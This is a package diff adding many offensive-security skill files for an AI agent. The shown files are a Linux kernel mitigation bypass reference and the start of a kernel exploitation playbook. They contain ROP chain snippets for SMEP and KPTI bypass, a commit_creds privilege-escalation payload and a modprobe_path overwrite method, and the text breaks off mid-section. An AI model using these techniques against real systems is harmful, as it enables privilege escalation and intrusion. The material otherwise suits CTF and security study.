ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,224 @@
1
+ # Kernel Mitigation Bypass — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this when you need specific kernel mitigation bypass techniques. Covers KASLR leak methods, SMEP bypass via kernel ROP/CR4 flip, SMAP bypass, KPTI trampoline, FG-KASLR limitations, and Clang CFI bypass. Assumes [SKILL.md](./SKILL.md) is loaded for kernel exploitation fundamentals.
4
+
5
+ ---
6
+
7
+ ## 1. KASLR (Kernel Address Space Layout Randomization)
8
+
9
+ Randomizes kernel .text base address at boot. Typical entropy: 9 bits (512 possible positions) on x86-64.
10
+
11
+ ### Leak Methods
12
+
13
+ | Method | Condition | Detail |
14
+ |---|---|---|
15
+ | `/proc/kallsyms` | Root or `kptr_restrict=0` | Direct symbol addresses (not available in CTF usually) |
16
+ | Kernel OOB read | Exploitable OOB | Read kernel pointers from adjacent memory |
17
+ | Uninitialized memory | Kernel stack/heap leak | Leaked pointer reveals kernel base |
18
+ | dmesg / printk | Kernel prints addresses | `dmesg_restrict=0` or exploitable read |
19
+ | CPU side channel | Spectre/Meltdown variants | Timing-based KASLR bypass (mostly patched) |
20
+ | `/proc/self/stat` | `wait_channel` field | May expose kernel addresses (kernel-dependent) |
21
+ | eBPF JIT spray | eBPF available | JIT code at predictable offsets from base |
22
+ | Module base | Known module loaded | Module base leaks relative to kernel base |
23
+ | Entropy brute-force | 9 bits | 512 attempts (feasible for persistent service) |
24
+
25
+ ### KASLR Base Calculation
26
+
27
+ ```python
28
+ # Leaked address from kernel: 0xffffffff81234567 (example)
29
+ # Known symbol offset from vmlinux: commit_creds = 0xffffffff81095c30 (no KASLR base)
30
+ # Actual offset: 0x95c30
31
+ # KASLR base = leaked_addr - symbol_offset_in_vmlinux
32
+ kaslr_base = (leaked_addr & ~0xfffff) - (known_symbol & ~0xfffff)
33
+ ```
34
+
35
+ ---
36
+
37
+ ## 2. SMEP (Supervisor Mode Execution Prevention)
38
+
39
+ **Prevents kernel from executing code in user-mapped pages.** Set via CR4 bit 20.
40
+
41
+ ### Bypass Methods
42
+
43
+ | Method | Detail |
44
+ |---|---|
45
+ | Kernel ROP | Use only kernel .text gadgets for ROP chain (standard approach) |
46
+ | CR4 bit flip | `mov cr4, rax` gadget with bit 20 cleared (blocked on modern kernels with CR4 pinning) |
47
+ | JIT code | Execute JIT-compiled code (eBPF, kprobes) which lives in kernel memory |
48
+ | Copy shellcode to kernel | Write shellcode to kernel-mapped page, then execute |
49
+
50
+ ### CR4 Flip (Legacy, < 4.15)
51
+
52
+ ```python
53
+ # CR4 value with SMEP: 0x1006f0 (bit 20 set)
54
+ # CR4 value without SMEP: 0x0006f0 (bit 20 clear)
55
+ # ROP gadget: pop rcx; ret → mov cr4, rcx; ret
56
+ rop = p64(pop_rcx) + p64(0x6f0) + p64(mov_cr4_rcx)
57
+ # After CR4 flip, can jump to user-mapped shellcode
58
+ ```
59
+
60
+ **Modern kernels** (≥ 4.15): CR4 pinning via `native_write_cr4()` checks prevent clearing SMEP/SMAP bits. Must use pure kernel ROP.
61
+
62
+ ---
63
+
64
+ ## 3. SMAP (Supervisor Mode Access Prevention)
65
+
66
+ **Prevents kernel from reading/writing user-mapped pages.** Set via CR4 bit 21.
67
+
68
+ ### Impact
69
+
70
+ ```c
71
+ // Without SMAP: kernel exploit can read fake structures from user mmap
72
+ char *fake = mmap(0x10000, ...); // user page
73
+ // Copy fake data setup
74
+ // Kernel dereferences pointer to 0x10000 → reads user data ✓
75
+
76
+ // With SMAP: above access faults
77
+ // Must use kernel-mapped memory for all fake structures
78
+ ```
79
+
80
+ ### Bypass Methods
81
+
82
+ | Method | Detail |
83
+ |---|---|
84
+ | Kernel heap spray | Place fake structures in kernel heap (not user memory) |
85
+ | `copy_from_user` gadget | Legitimate kernel function that copies from user to kernel buffer |
86
+ | `stac`/`clac` gadgets | Temporarily enable user access (rare in ROP chains) |
87
+ | CR4 bit flip | Clear bit 21 (same caveats as SMEP) |
88
+ | Pipe/userfaultfd | Stage controlled data in kernel memory via legitimate interfaces |
89
+
90
+ ---
91
+
92
+ ## 4. KPTI (Kernel Page Table Isolation)
93
+
94
+ **Separates kernel and user page tables.** When running in userspace, kernel pages are unmapped (except trampoline). Blocks Meltdown and complicates kernel→user return.
95
+
96
+ ### Impact on Exploitation
97
+
98
+ ```
99
+ Without KPTI: swapgs; iretq → works directly
100
+ With KPTI: swapgs; iretq → crashes (user page table doesn't map kernel)
101
+ Must switch page tables before returning to userspace
102
+ ```
103
+
104
+ ### Bypass: KPTI Trampoline
105
+
106
+ The kernel provides `swapgs_restore_regs_and_return_to_usermode` (or equivalent) that:
107
+ 1. Switches from kernel to user page tables (writes CR3)
108
+ 2. Executes `swapgs`
109
+ 3. Executes `iretq`
110
+
111
+ ```python
112
+ # Find trampoline address
113
+ # In vmlinux: search for "swapgs_restore_regs_and_return_to_usermode"
114
+ kpti_tramp = kaslr_base + KPTI_TRAMP_OFFSET
115
+
116
+ # ROP chain ending:
117
+ # ... commit_creds(prepare_kernel_cred(0)) ...
118
+ rop += p64(kpti_tramp)
119
+ rop += p64(0) # padding (popped by trampoline)
120
+ rop += p64(0) # padding
121
+ rop += p64(user_rip) # return RIP (e.g., get_shell function)
122
+ rop += p64(user_cs) # CS = 0x33
123
+ rop += p64(user_rflags) # saved RFLAGS
124
+ rop += p64(user_rsp) # saved RSP
125
+ rop += p64(user_ss) # SS = 0x2b
126
+ ```
127
+
128
+ ### Signal Handler Technique
129
+
130
+ Alternative: set up a signal handler before the exploit. After `commit_creds` in kernel, cause a fault → signal delivered to userspace → handler runs as root.
131
+
132
+ ---
133
+
134
+ ## 5. FG-KASLR (Function Granularity KASLR)
135
+
136
+ **Randomizes individual function addresses**, not just the base. Each function gets an independent random offset within the .text section.
137
+
138
+ ### Impact
139
+
140
+ - `prepare_kernel_cred` and `commit_creds` are at unknown offsets (not base+fixed_offset)
141
+ - ROP gadgets within .text have unknown addresses
142
+ - Standard KASLR leak (base address) is insufficient
143
+
144
+ ### What's NOT Randomized
145
+
146
+ | Section | Randomized? | Exploit Relevance |
147
+ |---|---|---|
148
+ | `.text` functions | YES | Cannot use for ROP or direct call |
149
+ | `.data` section | NO (base+offset fixed) | `modprobe_path`, `core_pattern` still at known offset from base |
150
+ | `.rodata` section | NO | Read-only data at known offset |
151
+ | Percpu variables | NO | |
152
+ | Exception tables | NO | |
153
+ | Kernel modules | Separate randomization | Module function offsets change independently |
154
+
155
+ ### Bypass Strategies
156
+
157
+ | Strategy | Detail |
158
+ |---|---|
159
+ | Data-only attack | Overwrite `modprobe_path` (in .data, fixed offset from KASLR base) |
160
+ | Leak function pointers | Read function pointer from kernel object → derandomize specific functions |
161
+ | Use non-.text gadgets | Gadgets in modules, `.init.text` (if still mapped), or JIT code |
162
+ | Large-scale info leak | Leak many function pointers to reconstruct .text layout |
163
+
164
+ ---
165
+
166
+ ## 6. CLANG CFI (Control Flow Integrity)
167
+
168
+ **Validates indirect call/jump targets match expected function signature.** Enabled in Android kernels (GKI) and some hardened builds.
169
+
170
+ ### How CFI Works
171
+
172
+ ```c
173
+ // Before indirect call:
174
+ // Check: is target address a valid function with matching prototype?
175
+ // If not → __cfi_check fails → kernel panic
176
+ void (*fptr)(int) = ...;
177
+ // CFI check inserted here
178
+ fptr(42);
179
+ ```
180
+
181
+ ### Bypass Approaches
182
+
183
+ | Method | Detail |
184
+ |---|---|
185
+ | Same-type function | Redirect to a different function with the same signature |
186
+ | CFI shadow manipulation | Corrupt the CFI shadow map to whitelist arbitrary targets |
187
+ | Data-only attack | Avoid indirect calls entirely (overwrite data like modprobe_path) |
188
+ | JIT/BPF code | JIT-compiled code may not have CFI checks |
189
+ | kCFI bypass (specific) | kCFI uses type hash comparison — find hash collision or valid type match |
190
+
191
+ ---
192
+
193
+ ## 7. ADDITIONAL MITIGATIONS
194
+
195
+ ### Stack Canary (Kernel)
196
+
197
+ Kernel functions have stack canaries (from `gs:[0x28]` on x86-64). Bypass same as userspace: info leak or avoid stack overflow.
198
+
199
+ ### STATIC_USERMODEHELPER
200
+
201
+ Hardcodes the usermode helper path, preventing `modprobe_path` overwrite. Bypass: use alternative targets (`core_pattern`, direct cred overwrite).
202
+
203
+ ### Lockdown LSM
204
+
205
+ Restricts certain operations even for root (prevents loading unsigned modules, accessing /dev/mem). Bypass requires kernel code execution first.
206
+
207
+ ### RANDSTRUCT
208
+
209
+ Randomizes kernel structure layout at compile time. Offset of fields in `task_struct`, `cred`, etc. are unknown.
210
+
211
+ **Bypass**: Leak structure contents to determine field offsets, or target structures not covered by RANDSTRUCT.
212
+
213
+ ---
214
+
215
+ ## 8. MITIGATION INTERACTION MATRIX
216
+
217
+ | Attack | KASLR | SMEP | SMAP | KPTI | FG-KASLR |
218
+ |---|---|---|---|---|---|
219
+ | ret2usr | Need base | **Blocked** | Need kernel buf | — | Need func addr |
220
+ | Kernel ROP | Need base | OK (kernel gadgets) | Need kernel buf | Need trampoline | Need gadget addrs |
221
+ | modprobe_path | Need base | — | — | — | OK (data section) |
222
+ | commit_creds | Need base | — | — | Need trampoline | Need func addr |
223
+ | Direct cred overwrite | Need cred addr | — | — | — | OK (data) |
224
+ | Cross-cache overwrite | — | — | — | — | — |
@@ -0,0 +1,307 @@
1
+ ---
2
+ name: kernel-exploitation
3
+ description: >-
4
+ Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commit_creds, modprobe_path overwrite, or kernel ROP chains in CTF and real-world scenarios.gated: true
5
+ ---
6
+
7
+ # SKILL: Linux Kernel Exploitation — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — userspace protections (NX, ASLR) also apply in kernel context
14
+ - [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — kernel ROP reuses many userspace ROP concepts
15
+ - [heap-exploitation](../heap-exploitation/SKILL.md) — kernel SLUB is conceptually related to userspace heap
16
+ - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — non-exploit kernel privesc techniques
17
+
18
+ ### Advanced References
19
+
20
+ - [KERNEL_MITIGATION_BYPASS.md](./KERNEL_MITIGATION_BYPASS.md) — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
21
+ - [KERNEL_HEAP_TECHNIQUES.md](./KERNEL_HEAP_TECHNIQUES.md) — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
22
+
23
+ ---
24
+
25
+ ## 1. EXPLOITATION MODEL
26
+
27
+ ```
28
+ ┌─────────────────────────────────────────────────────┐
29
+ │ 1. Find Vulnerability │
30
+ │ (UAF, OOB, race, integer overflow, type confusion)│
31
+ ├─────────────────────────────────────────────────────┤
32
+ │ 2. Build Primitive │
33
+ │ (arbitrary read, arbitrary write, controlled RIP)│
34
+ ├─────────────────────────────────────────────────────┤
35
+ │ 3. Bypass Mitigations │
36
+ │ (KASLR, SMEP, SMAP, KPTI) │
37
+ ├─────────────────────────────────────────────────────┤
38
+ │ 4. Escalate Privileges │
39
+ │ (commit_creds, modprobe_path, namespace escape) │
40
+ ├─────────────────────────────────────────────────────┤
41
+ │ 5. Return to Userspace Cleanly │
42
+ │ (KPTI trampoline, iretq/sysretq, swapgs) │
43
+ └─────────────────────────────────────────────────────┘
44
+ ```
45
+
46
+ ---
47
+
48
+ ## 2. ENVIRONMENT SETUP
49
+
50
+ ### QEMU + Custom Kernel
51
+
52
+ ```bash
53
+ # Download and compile kernel
54
+ wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
55
+ tar xf linux-6.1.tar.xz && cd linux-6.1
56
+ make defconfig
57
+ # Disable mitigations for easier debugging:
58
+ scripts/config --disable RANDOMIZE_BASE # KASLR
59
+ scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
60
+ scripts/config --enable DEBUG_INFO
61
+ make -j$(nproc)
62
+
63
+ # Boot with QEMU
64
+ qemu-system-x86_64 \
65
+ -kernel bzImage \
66
+ -initrd rootfs.cpio.gz \
67
+ -append "console=ttyS0 nokaslr quiet" \
68
+ -nographic \
69
+ -s -S \ # GDB server on :1234, pause at start
70
+ -monitor /dev/null \
71
+ -m 256M \
72
+ -cpu kvm64,+smep,+smap
73
+ ```
74
+
75
+ ### GDB Debugging
76
+
77
+ ```bash
78
+ gdb vmlinux
79
+ target remote :1234
80
+ # Load kernel symbols
81
+ add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
82
+ # Breakpoints
83
+ b commit_creds
84
+ b *0xffffffff81234567
85
+ # pwndbg/GEF work with kernel debugging
86
+ ```
87
+
88
+ ### initramfs Modification
89
+
90
+ ```bash
91
+ mkdir rootfs && cd rootfs
92
+ cpio -idmv < ../rootfs.cpio.gz
93
+ # Edit init script, add exploit binary
94
+ cp /path/to/exploit ./
95
+ # Repack
96
+ find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
97
+ ```
98
+
99
+ ---
100
+
101
+ ## 3. COMMON VULNERABILITY TYPES
102
+
103
+ | Type | Description | Kernel Example |
104
+ |---|---|---|
105
+ | UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) |
106
+ | OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) |
107
+ | Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) |
108
+ | Integer Overflow | Size calculation wraps around | Various ioctl handlers |
109
+ | Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) |
110
+ | Double Free | Object freed twice | SLUB allocator exploitation |
111
+ | Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
112
+
113
+ ---
114
+
115
+ ## 4. PRIVILEGE ESCALATION TARGETS
116
+
117
+ ### Method 1: commit_creds(prepare_kernel_cred(0))
118
+
119
+ ```c
120
+ // Kernel function that sets current process credentials to root
121
+ void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
122
+ void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
123
+ commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
124
+ ```
125
+
126
+ Kernel ROP chain equivalent:
127
+ ```
128
+ pop rdi; ret
129
+ 0 # NULL → prepare_kernel_cred(NULL) = init_cred
130
+ prepare_kernel_cred addr
131
+ mov rdi, rax; ... ; ret # or pop rdi + known location
132
+ commit_creds addr
133
+ kpti_trampoline / swapgs+iretq # return to userspace
134
+ ```
135
+
136
+ ### Method 2: modprobe_path Overwrite
137
+
138
+ ```c
139
+ // modprobe_path = "/sbin/modprobe" in kernel .data
140
+ // Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
141
+ ```
142
+
143
+ ```bash
144
+ # Setup:
145
